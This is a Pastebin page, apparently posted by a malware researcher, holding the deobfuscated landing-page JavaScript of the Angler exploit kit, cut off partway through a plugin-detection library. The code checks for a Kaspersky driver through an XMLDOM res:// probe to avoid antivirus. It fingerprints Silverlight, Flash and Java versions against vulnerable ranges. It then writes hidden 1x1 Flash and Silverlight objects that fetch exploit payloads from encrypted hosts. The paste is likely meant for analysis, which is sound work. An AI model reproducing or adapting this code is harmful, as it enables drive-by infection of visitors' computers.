Kafeine

Angler Landing 2014-05-30 - jsb

May 30th, 2014
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   function gs7sfd(txt) {
  2.       var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
  3.       xmlDoc.async = true;
  4.       xmlDoc.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + txt + '">');
  5.       if (xmlDoc.parseError.errorCode != 0) {
  6.           var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
  7.           err += "Error Reason: " + xmlDoc.parseError.reason;
  8.           err += "Error Line: " + xmlDoc.parseError.line;
  9.           if (err.indexOf("-2147023083") > 0) {
  10.               return 1;
  11.           } else {
  12.               return 0;
  13.           }
  14.       }
  15.       return 0;
  16.   }
  17.  
  18.   function sleep(milliseconds) {
  19.       var start = new Date().getTime(),
  20.           c = true;
  21.       while (c) {
  22.           if ((new Date().getTime() - start) > milliseconds) {
  23.               c = false;
  24.               break;
  25.           }
  26.       }
  27.   }
  28.   for (var l = 0; l < 50; l++) {
  29.       if (gs7sfd("c:\\Windows\\System32\\drivers\\kl1.sys")) {
  30.           window['Vmxy'] = true;
  31.           LbfyKPW = '';
  32.           window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 = window.sf325gtgs7sfdf2 = false;
  33.       };
  34.       sleep(20);
  35.   }
  36.  
  37.  
  38.   if (!Array.prototype.indexOf) {
  39.       Array.prototype.indexOf = function (obj, start) {
  40.           for (var i = (start || 0), j = this.length; i < j; i++) {
  41.               if (this[i] === obj) {
  42.                   return i;
  43.               }
  44.           }
  45.           return -1;
  46.       };
  47.   }
  48.   window.DzBvtIX = new Function('text', "var cryptKey = yLefZnFq0, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray.push(rawArray.indexOf(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
  49.   var xObjectName = 'ActiveXObject';
  50.   var xObject = window[xObjectName];
  51.   var AgControl = 'AgControl.AgControl';
  52.  
  53.   function silverVersion(value) {
  54.       var nav = navigator.plugins["Silverlight Plug-In"];
  55.       if (nav) {
  56.           return testVersion(nav.description);
  57.       } else {
  58.           try {
  59.               var control = new ActiveXObject('AgControl.AgControl');
  60.               var vers = Array(1, 0, 0, 0);
  61.               loopVersion(control, vers, 0, 1);
  62.               loopVersion(control, vers, 1, 1);
  63.               loopVersion(control, vers, 2, 10000);
  64.               loopVersion(control, vers, 2, 1000);
  65.               loopVersion(control, vers, 2, 100);
  66.               loopVersion(control, vers, 2, 10);
  67.               loopVersion(control, vers, 2, 1);
  68.               loopVersion(control, vers, 3, 1);
  69.               return testVersion(vers.join('.'));
  70.           } catch (e) {
  71.               return testVersion(false);
  72.           }
  73.       }
  74.  
  75.       function testVersion(currentVersion) {
  76.           if (!currentVersion) return currentVersion;
  77.           if (parseInt(String(currentVersion).replace(/\./g, '')) > parseInt(String(value).replace(/\./g, ''))) return 1;
  78.           if (parseInt(String(currentVersion).replace(/\./g, '')) == parseInt(String(value).replace(/\./g, ''))) return 0;
  79.           if (parseInt(String(currentVersion).replace(/\./g, '')) < parseInt(String(value).replace(/\./g, ''))) return -1;
  80.       }
  81.  
  82.       function loopVersion(control, vers, idx, inc) {
  83.           while (IsSupported(control, vers)) {
  84.               vers[idx] += inc;
  85.           }
  86.           vers[idx] -= inc;
  87.       }
  88.  
  89.       function IsSupported(control, ver) {
  90.           return control.isVersionSupported(ver[0] + "." + ver[1] + "." + ver[2] + "." + ver[3]);
  91.       }
  92.   }
  93.  
  94.   function flashVersion(versionValue) {
  95.       var a = !1,
  96.           res, ver = fixNumber(versionValue);
  97.  
  98.       function fixNumber(num) {
  99.           function beautify(match, number) {
  100.               var res = "000" + match;
  101.               return (res).substr(res.length - 3)
  102.           }
  103.           var n = num.split(".");
  104.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  105.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  106.       }
  107.  
  108.       function version(b) {
  109.           b = fixNumber(String(b).replace(/^[^0-9]+/g, '').replace(/[^0-9\.]/g, '.').replace(/\.+/g, '.').replace(/\,/g, '.'));
  110.           var verTest = parseInt(ver.substr(0, b.length));
  111.           if (parseInt(b) > verTest) {
  112.               return 1;
  113.           }
  114.           if (parseInt(b) == verTest) {
  115.               return 0;
  116.           }
  117.           return -1;
  118.       }
  119.  
  120.       function createFlash() {
  121.           var obj = document.createElement("object"),
  122.               newDiv = document.createElement("div"),
  123.               id = String("flash" + new Date()).replace(/\s|\+|\:/g, '');
  124.           newDiv.style.cssText = 'position:absolute;top:-1000px;left:-1000px;';
  125.           obj.setAttribute("type", "application/x-shockwave-flash");
  126.           obj.style.cssText = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;width:1px;height:1px";
  127.           obj.setAttribute("width", "1");
  128.           obj.setAttribute("id", id);
  129.           obj.setAttribute("height", "1");
  130.           obj.id = id;
  131.           newDiv.appendChild(obj);
  132.           document.body.appendChild(newDiv);
  133.           result = String(obj.GetVariable("$version"));
  134.           return result;
  135.       }
  136.       if (navigator.plugins && navigator.plugins.length) {
  137.           var e = navigator.plugins["Shockwave Flash"];
  138.           e && (a = !0, e.description && (b = e.description));
  139.           navigator.plugins["Shockwave Flash 2.0"] && (a = !0, b = "2.0.0.11");
  140.           res = version(b);
  141.           if (res > 0 || res < 0) return res;
  142.           try {
  143.               return version(createFlash());
  144.           } catch (e) {
  145.               return;
  146.           }
  147.       } else {
  148.           if (navigator.mimeTypes && navigator.mimeTypes.length) {
  149.               var f = navigator.mimeTypes["application/x-shockwave-flash"];
  150.               (a = f && f.enabledPlugin) && (b = f.enabledPlugin.description);
  151.               res = version(b);
  152.               if (res > 0 || res < 0) return res;
  153.               try {
  154.                   return version(createFlash());
  155.               } catch (e) {
  156.                   return;
  157.               }
  158.           } else {
  159.               try {
  160.                   var g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"),
  161.                       a = !0,
  162.                       b = g.GetVariable("$version");
  163.                   return version(b);
  164.               } catch (h) {
  165.                   try {
  166.                       g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"), a = !0, b = "6.0.21";
  167.                       return;
  168.                   } catch (i) {
  169.                       try {
  170.                           g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"), a = !0, b = g.GetVariable("$version");
  171.                           return version(b);
  172.                       } catch (j) {}
  173.                   }
  174.               }
  175.           }
  176.       }
  177.       return;
  178.   }
  179.   var minValue = silverVersion("4.0.50401.0"),
  180.       maxValue = silverVersion("5.1.10411.0"),
  181.       currentValue = silverVersion("5.0.60818.0");
  182.   if (typeof (minValue) != 'undefined' && typeof (maxValue) != 'undefined' && typeof (currentValue) != 'undefined' && minValue >= 0 && maxValue <= 0 && currentValue != 0) {
  183.       window.sf325gtgs7sfds = true;
  184.   } else {
  185.       if ((flashVersion("11.0.1.152") >= 0 && flashVersion("11.7.700.242") <= 0) || (flashVersion("11.8.800.94") >= 0 && flashVersion("12.0.0.43") <= 0)) {
  186.           var wv_XXX = navigator.userAgent.match('Windows NT (...?)');
  187.           if (flashVersion("11.0.1.152") >= 0 && flashVersion("11.4.402.287") <= 0 && wv_XXX && wv_XXX[1] && parseFloat(wv_XXX[1]) < 6.2) {
  188.               if (!(navigator.userAgent.indexOf('Firefox') >= 0 && flashVersion("11.3.000.000") >= 0 && navigator['app' + 'Version'].indexOf('Wind' + 'ows NT 6') >= 0)) window.sf325gtgs7sfdf1 = true;
  189.           } else {
  190.               if (!(navigator.userAgent.indexOf('Firefox') >= 0 && flashVersion("11.3.000.000") >= 0 && navigator['app' + 'Version'].indexOf('Wind' + 'ows NT 6') >= 0)) window.sf325gtgs7sfdf2 = true;
  191.           }
  192.       }
  193.   } if (navigator.javaEnabled()) {
  194.       window.sf325gtgs7sfdj = true;
  195.   }
  196.   var Browser = {
  197.       Version: function () {
  198.           try {
  199.               var birks = /malware.dontneedcoffee.com/.test();
  200.           } catch (e) {}
  201.           var version = 999;
  202.           if (navigator.appVersion.indexOf("MSIE") != -1) version = parseFloat(navigator.appVersion.split("MSIE")[1]);
  203.           return version;
  204.       }
  205.   };
  206.   if (!window.sf325gtgs7sfdj && !window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && (Browser.Version() > 10)) {
  207.       var urlName = decIt(yLefZnFq1);
  208.       document.location.href = "/" + urlName;
  209.   }
  210.  
  211.  
  212.  
  213.   if (window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1) {
  214.       var klfg1 = 'wri',
  215.           klfg2 = 'te';
  216.  
  217.       function getKolaio() {
  218.           return DzBvtIX(yLefZnFq2);
  219.       }
  220.  
  221.       function getTxl() {
  222.           return DzBvtIX(yLefZnFq3);
  223.       }
  224.  
  225.       function getData() {
  226.           return DzBvtIX(yLefZnFq4);
  227.       }
  228.       document[klfg1 + klfg2]('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="http://' + getKolaio() + '/' + getTxl() + '" /><param name="initParams" value="exteeec=' + getData() + '"/></object></div></form>');
  229.   }
  230.  
  231.   if ((window.sf325gtgs7sfdf1 || window.sf325gtgs7sfdf2) && !window.sf325gtgs7sfds) {
  232.       var klfg1 = 'wri',
  233.           klfg2 = 'te';
  234.  
  235.       function getKolaio() {
  236.           return DzBvtIX(yLefZnFq5);
  237.       }
  238.  
  239.       function getTxl(a) {
  240.           if (a == '1') return DzBvtIX(yLefZnFq6);
  241.           else return DzBvtIX(yLefZnFq7);
  242.       }
  243.  
  244.       function getData(a) {
  245.           if (a == '1') return DzBvtIX(yLefZnFq8);
  246.           else return DzBvtIX(yLefZnFq9);
  247.       }
  248.       if (window.sf325gtgs7sfdf1) var mirtul = "1";
  249.       else var mirtul = "0";
  250.       var txt = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf"><param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" /><param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  251.       txt = txt + '<!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://';
  252.       txt = txt + getKolaio() + '/' + getTxl(mirtul) + '" allowScriptAccess=always width="1" height="1"><param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  253.       txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" /><!--<![endif]--><!--[if !IE]>--></object><!--<![endif]--></object>';
  254.       document[klfg1 + klfg2](txt);
  255.   }
  256.  
  257.  
  258.   var ldklfgo;
  259.   var klfg1 = 'wri',
  260.       klfg2 = 'te';
  261.   ldklfgo = {
  262.       isDefined: function (b) {
  263.           return typeof b != "undefined"
  264.       },
  265.       isArray: function (b) {
  266.           return (/array/i).test(Object.prototype.toString.call(b))
  267.       },
  268.       isFunc: function (b) {
  269.           return typeof b == "function"
  270.       },
  271.       isString: function (b) {
  272.           return typeof b == "string"
  273.       },
  274.       isNum: function (b) {
  275.           return typeof b == "number"
  276.       },
  277.       isStrNum: function (b) {
  278.           return (typeof b == "string" && (/\d/).test(b))
  279.       },
  280.       getNumRegx: /[\d][\d\.\_,\-]*/,
  281.       splitNumRegx: /[\.\_,\-]/g,
  282.       getNum: function (b, c) {
  283.           var d = this,
  284.               a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  285.           return a ? a[0] : null
  286.       },
  287.       compareNums: function (h, f, d) {
  288.           var e = this,
  289.               c, b, a, g = parseInt;
  290.           if (e.isStrNum(h) && e.isStrNum(f)) {
  291.               if (e.isDefined(d) && d.compareNums) {
  292.                   return d.compareNums(h, f)
  293.               }
  294.               c = h.split(e.splitNumRegx);
  295.               b = f.split(e.splitNumRegx);
  296.               for (a = 0; a < Math.min(c.length, b.length); a++) {
  297.                   if (g(c[a], 10) > g(b[a], 10)) {
  298.                       return 1
  299.                   }
  300.                   if (g(c[a], 10) < g(b[a], 10)) {
  301.                       return -1
  302.                   }
  303.               }
  304.           }
  305.           return 0
  306.       },
  307.       formatNum: function (b, c) {
  308.           var d = this,
  309.               a, e;
  310.           if (!d.isStrNum(b)) {
  311.               return null
  312.           }
  313.           if (!d.isNum(c)) {
  314.               c = 4
  315.           }
  316.           c--;
  317.           e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  318.           for (a = 0; a < 4; a++) {
  319.               if (/^(0+)(.+)$/.test(e[a])) {
  320.                   e[a] = RegExp.$2
  321.               }
  322.               if (a > c || !(/\d/).test(e[a])) {
  323.                   e[a] = "0"
  324.               }
  325.           }
  326.           return e.slice(0, 4).join(",")
  327.       },
  328.       getPROP: function (d, b, a) {
  329.           var c;
  330.           try {
  331.               if (d) {
  332.                   a = d[b]
  333.               }
  334.           } catch (c) {}
  335.           return a
  336.       },
  337.       findNavPlugin: function (l, e, c) {
  338.           var j = this,
  339.               h = new RegExp(l, "i"),
  340.               d = (!j.isDefined(e) || e) ? /\d/ : 0,
  341.               k = c ? new RegExp(c, "i") : 0,
  342.               a = navigator.plugins,
  343.               g = "",
  344.               f, b, m;
  345.           for (f = 0; f < a.length; f++) {
  346.               m = a[f].description || g;
  347.               b = a[f].name || g;
  348.               if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  349.                   if (!k || !(k.test(m) || k.test(b))) {
  350.                       return a[f]
  351.                   }
  352.               }
  353.           }
  354.           return null
  355.       },
  356.       getMimeEnabledPlugin: function (k, m, c) {
  357.           var e = this,
  358.               f, b = new RegExp(m, "i"),
  359.               h = "",
  360.               g = c ? new RegExp(c, "i") : 0,
  361.               a, l, d, j = e.isString(k) ? [k] : k;
  362.           for (d = 0; d < j.length; d++) {
  363.               if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  364.                   l = f.description || h;
  365.                   a = f.name || h;
  366.                   if (b.test(l) || b.test(a)) {
  367.                       if (!g || !(g.test(l) || g.test(a))) {
  368.                           return f
  369.                       }
  370.                   }
  371.               }
  372.           }
  373.           return 0
  374.       },
  375.       getVersionDelimiter: ",",
  376.       findPlugin: function (d) {
  377.           var c = this,
  378.               b, d, a = {
  379.                   status: -3,
  380.                   plugin: 0
  381.               };
  382.           if (c.DOM) {
  383.               c.DOM.initDiv()
  384.           }
  385.           if (!c.isString(d)) {
  386.               return a
  387.           }
  388.           if (d.length == 1) {
  389.               c.getVersionDelimiter = d;
  390.               return a
  391.           }
  392.           d = d.toLowerCase().replace(/\s/g, "");
  393.           b = c.Plugins[d];
  394.           if (!b || !b.getVersion) {
  395.               return a
  396.           }
  397.           a.plugin = b;
  398.           a.status = 1;
  399.           return a
  400.       },
  401.       AXO: window.ActiveXObject,
  402.       getAXO: function (a) {
  403.           var d = null,
  404.               c, b = this;
  405.           try {
  406.               d = new b.AXO(a)
  407.           } catch (c) {};
  408.           return d
  409.       },
  410.       browser: {},
  411.       INIT: function () {
  412.           this.init.library(this)
  413.       },
  414.       init: {
  415.           $: 1,
  416.           hasRun: 0,
  417.           objProperties: function (d, e, b) {
  418.               var a, c = {};
  419.               if (e && b) {
  420.                   if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  421.                       for (a = 0; a < b.length; a = a + 2) {
  422.                           e[b[a]] = b[a + 1];
  423.                           c[b[a]] = 1
  424.                       }
  425.                   }
  426.                   for (a in e) {
  427.                       if (!c[a] && e[a] && e[a][b[0]] === 1) {
  428.                           this.objProperties(d, e[a], b)
  429.                       }
  430.                   }
  431.               }
  432.           },
  433.           publicMethods: function (c, f) {
  434.               var g = this,
  435.                   b = g.$,
  436.                   a, d;
  437.               if (c && f) {
  438.                   for (a in c) {
  439.                       try {
  440.                           if (b.isFunc(c[a])) {
  441.                               f[a] = c[a](f)
  442.                           }
  443.                       } catch (d) {}
  444.                   }
  445.               }
  446.           },
  447.           plugin: function (a, c) {
  448.               var d = this,
  449.                   b = d.$;
  450.               if (a) {
  451.                   d.objProperties(b, a, ["$", b, "$$", a]);
  452.                   if (!b.isDefined(a.getVersionDone)) {
  453.                       a.installed = null;
  454.                       a.version = null;
  455.                       a.version0 = null;
  456.                       a.getVersionDone = null;
  457.                       a.pluginName = c
  458.                   }
  459.               }
  460.           },
  461.           detectIE: function () {
  462.               var init = this,
  463.                   $ = init.$,
  464.                   browser = $.browser,
  465.                   doc = document,
  466.                   e, x, tmp, userAgent = navigator.userAgent || "",
  467.                   progid, progid1, progid2;
  468.               tmp = doc.documentMode;
  469.               try {
  470.                   doc.documentMode = ""
  471.               } catch (e) {}
  472.               var testIe = "/*@cc_on!@*/!1";
  473.               browser.isIE = $.isNum(doc.documentMode) ? !0 : eval(testIe);
  474.               try {
  475.                   doc.documentMode = tmp
  476.               } catch (e) {};
  477.               browser.verIE = null;
  478.               if (browser.isIE) {
  479.                   browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  480.               };
  481.               browser.ActiveXEnabled = !1;
  482.               browser.ActiveXFilteringEnabled = !1;
  483.               if (browser.isIE) {
  484.                   try {
  485.                       browser.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  486.                   } catch (e) {}
  487.                   progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  488.                   progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  489.                   progid = progid1.concat(progid2);
  490.                   for (x = 0; x < progid.length; x++) {
  491.                       if ($.getAXO(progid[x])) {
  492.                           browser.ActiveXEnabled = !0;
  493.                           if (!$.dbug) {
  494.                               break
  495.                           }
  496.                       }
  497.                   }
  498.                   if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  499.                       for (x = 0; x < progid2.length; x++) {
  500.                           if ($.getAXO(progid2[x])) {
  501.                               browser.ActiveXFilteringEnabled = !1;
  502.                               break
  503.                           }
  504.                       }
  505.                   }
  506.               }
  507.           },
  508.           detectNonIE: function () {
  509.               var f = this,
  510.                   d = this.$,
  511.                   a = d.browser,
  512.                   e = navigator,
  513.                   c = a.isIE ? "" : e.userAgent || "",
  514.                   g = e.vendor || "",
  515.                   b = e.product || "";
  516.               a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  517.               a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  518.               a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  519.               a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  520.               a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  521.               a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  522.               a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  523.               a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  524.           },
  525.           library: function (c) {
  526.               var e = this,
  527.                   d = document,
  528.                   b, a;
  529.               c.init.objProperties(c, c, ["$", c]);
  530.               for (a in c.Plugins) {
  531.                   c.init.plugin(c.Plugins[a], a)
  532.               }
  533.               e.publicMethods(c.PUBLIC, c);
  534.               c.win.init();
  535.               e.detectIE();
  536.               e.detectNonIE();
  537.               c.init.hasRun = 1
  538.           }
  539.       },
  540.       ev: {
  541.           $: 1,
  542.           handler: function (d, c, b, a) {
  543.               return function () {
  544.                   d(c, b, a)
  545.               }
  546.           },
  547.           fPush: function (b, a) {
  548.               var c = this,
  549.                   d = c.$;
  550.               if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  551.                   a.push(b)
  552.               }
  553.           },
  554.           callArray: function (a) {
  555.               var b = this,
  556.                   d = b.$,
  557.                   c;
  558.               if (d.isArray(a)) {
  559.                   while (a.length) {
  560.                       c = a[0];
  561.                       a.splice(0, 1);
  562.                       b.call(c)
  563.                   }
  564.               }
  565.           },
  566.           call: function (d) {
  567.               var b = this,
  568.                   c = b.$,
  569.                   a = c.isArray(d) ? d.length : -1;
  570.               if (a > 0 && c.isFunc(d[0])) {
  571.                   d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  572.               } else {
  573.                   if (c.isFunc(d)) {
  574.                       d(c)
  575.                   }
  576.               }
  577.           }
  578.       },
  579.       PUBLIC: {
  580.           getVersion: function (b) {
  581.               var a = function (h, e, d) {
  582.                   var f = b.findPlugin(h),
  583.                       g, c;
  584.                   if (f.status < 0) {
  585.                       return null
  586.                   };
  587.                   g = f.plugin;
  588.                   if (g.getVersionDone != 1) {
  589.                       g.getVersion(null, e, d);
  590.                       if (g.getVersionDone === null) {
  591.                           g.getVersionDone = 1
  592.                       }
  593.                   }
  594.                   c = (g.version || g.version0);
  595.                   c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  596.                   return c
  597.               };
  598.               return a
  599.           },
  600.           onDetectionDone: function (b) {
  601.               var a = function (j, h, d, c) {
  602.                   var e = b.findPlugin(j),
  603.                       k, g;
  604.                   if (e.status == -3) {
  605.                       return -1
  606.                   }
  607.                   g = e.plugin;
  608.                   if (!b.isArray(g.funcs)) {
  609.                       g.funcs = []
  610.                   };
  611.                   if (g.getVersionDone != 1) {
  612.                       k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  613.                   }
  614.                   if (g.installed != -0.5 && g.installed != 0.5) {
  615.                       b.ev.call(h);
  616.                       return 1
  617.                   }
  618.                   b.ev.fPush(h, g.funcs);
  619.                   return 0
  620.               };
  621.               return a
  622.           },
  623.           hasMimeType: function (b) {
  624.               var a = function (d) {
  625.                   if (!b.browser.isIE && d && navigator && navigator.mimeTypes) {
  626.                       var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  627.                       for (c = 0; c < e.length; c++) {
  628.                           if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  629.                               g = navigator.mimeTypes[e[c]];
  630.                               f = g ? g.enabledPlugin : 0;
  631.                               if (f && (f.name || f.description)) {
  632.                                   return g
  633.                               }
  634.                           }
  635.                       }
  636.                   }
  637.                   return null
  638.               };
  639.               return a
  640.           },
  641.           z: 0
  642.       },
  643.       codebase: {
  644.           $: 1,
  645.           isDisabled: function () {
  646.               var b = this,
  647.                   c = b.$,
  648.                   a = c.browser;
  649.               return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  650.           },
  651.           init: function (e) {
  652.               if (!e.init) {
  653.                   var c = this,
  654.                       d = c.$,
  655.                       a, b;
  656.                   e.init = 1;
  657.                   e.min = 0;
  658.                   e.max = 0;
  659.                   e.hasRun = 0;
  660.                   e.version = null;
  661.                   e.L = 0;
  662.                   e.altHTML = "";
  663.                   e.span = document.createElement("span");
  664.                   e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  665.                   b = e.classID || e.$$.classID || "";
  666.                   e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + "</object>";
  667.                   for (a = 0; a < e.Lower.length; a++) {
  668.                       e.Lower[a] = d.formatNum(e.Lower[a]);
  669.                       e.Upper[a] = d.formatNum(e.Upper[a])
  670.                   }
  671.               }
  672.           },
  673.           isActiveXObject: function (i, b) {
  674.               var f = this,
  675.                   g = f.$,
  676.                   a = 0,
  677.                   h, d = i.$$,
  678.                   c = i.span;
  679.               if (i.min && g.compareNums(b, i.min) <= 0) {
  680.                   return 1
  681.               }
  682.               if (i.max && g.compareNums(b, i.max) >= 0) {
  683.                   return 0
  684.               }
  685.               c.innerHTML = i.tagA + b + i.tagB;
  686.               if (g.getPROP(c.firstChild, "object")) {
  687.                   a = 1
  688.               };
  689.               c.innerHTML = "";
  690.               if (a) {
  691.                   i.min = b
  692.               } else {
  693.                   i.max = b
  694.               }
  695.               return a
  696.           },
  697.           convert_: function (f, a, b, e) {
  698.               var d = f.convert[a],
  699.                   c = f.$;
  700.               return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  701.           },
  702.           convert: function (h, c, g) {
  703.               var e = this,
  704.                   f = h.$,
  705.                   b, a, d;
  706.               c = f.formatNum(c);
  707.               a = {
  708.                   v: c,
  709.                   x: -1
  710.               };
  711.               if (c) {
  712.                   for (b = 0; b < h.Lower.length; b++) {
  713.                       d = e.convert_(h, b, h.Lower[b]);
  714.                       if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  715.                           a.v = e.convert_(h, b, c, g);
  716.                           a.x = b;
  717.                           break
  718.                       }
  719.                   }
  720.               }
  721.               return a
  722.           },
  723.           isMin: function (g, f) {
  724.               var d = this,
  725.                   e = g.$,
  726.                   c, b, a = 0;
  727.               d.init(g);
  728.               return a
  729.           },
  730.           search: function (g) {
  731.               var k = this,
  732.                   h = k.$,
  733.                   i = g.$$,
  734.                   b = 0,
  735.                   c;
  736.               k.init(g);
  737.               c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  738.               g.hasRun = 1;
  739.               if (c) {
  740.                   return g.version
  741.               };
  742.               var o, n, m, j = function (q, t) {
  743.                       var r = [].concat(f),
  744.                           s;
  745.                       r[q] = t;
  746.                       s = k.isActiveXObject(g, r.join(","));
  747.                       if (s) {
  748.                           b = 1;
  749.                           f[q] = t
  750.                       } else {
  751.                           p[q] = t
  752.                       }
  753.                       return s
  754.                   },
  755.                   d = g.DIGITMAX,
  756.                   e, a, l = 99999999,
  757.                   f = [0, 0, 0, 0],
  758.                   p = [0, 0, 0, 0];
  759.               for (o = 0; o < p.length; o++) {
  760.                   f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  761.                   e = f.join(",");
  762.                   a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  763.                   for (m = 0; m < d.length; m++) {
  764.                       if (h.isArray(d[m])) {
  765.                           d[m].push(0);
  766.                           if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  767.                               p[o] = Math.floor(d[m][o])
  768.                           }
  769.                       }
  770.                   }
  771.                   for (n = 0; n < 30; n++) {
  772.                       if (p[o] - f[o] <= 16) {
  773.                           for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  774.                               if (j(o, m)) {
  775.                                   break
  776.                               }
  777.                           }
  778.                           break
  779.                       }
  780.                       j(o, Math.round((p[o] + f[o]) / 2))
  781.                   }
  782.                   if (!b) {
  783.                       break
  784.                   }
  785.                   p[o] = f[o]
  786.               }
  787.               if (b) {
  788.                   g.version = k.convert(g, f.join(",")).v
  789.               };
  790.               return g.version
  791.           }
  792.       },
  793.       win: {
  794.           $: 1,
  795.           loaded: false,
  796.           hasRun: 0,
  797.           init: function () {
  798.               var b = this,
  799.                   a = b.$
  800.           },
  801.           concatFn: function (d, c) {
  802.               return function () {
  803.                   d();
  804.                   if (typeof c == "function") {
  805.                       c()
  806.                   }
  807.               }
  808.           },
  809.           funcs0: [],
  810.           funcs: [],
  811.           count: 0,
  812.           countMax: 1,
  813.           intervalLength: 50
  814.       },
  815.       DOM: {
  816.           $: 1,
  817.           isEnabled: {
  818.               $: 1,
  819.               objectTag: function () {
  820.                   var a = this.$;
  821.                   return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  822.               },
  823.               objectProperty: function () {
  824.                   var a = this.$;
  825.                   return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  826.               }
  827.           },
  828.           div: null,
  829.           divID: "plugindetect",
  830.           divClass: "doNotRemove",
  831.           divWidth: 50,
  832.           getDiv: function () {
  833.               var a = this;
  834.               return a.div || document.getElementById(a.divID) || null
  835.           },
  836.           isDivPermanent: function () {
  837.               var b = this,
  838.                   c = b.$,
  839.                   a = b.getDiv();
  840.               return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  841.           },
  842.           initDiv: function (b) {
  843.               var c = this,
  844.                   d = c.$,
  845.                   a;
  846.               if (!c.div) {
  847.                   a = c.getDiv();
  848.                   if (a) {
  849.                       c.div = a
  850.                   } else {
  851.                       if (b) {
  852.                           c.div = document.createElement("div");
  853.                           c.div.id = c.divID
  854.                       }
  855.                   } if (c.div) {
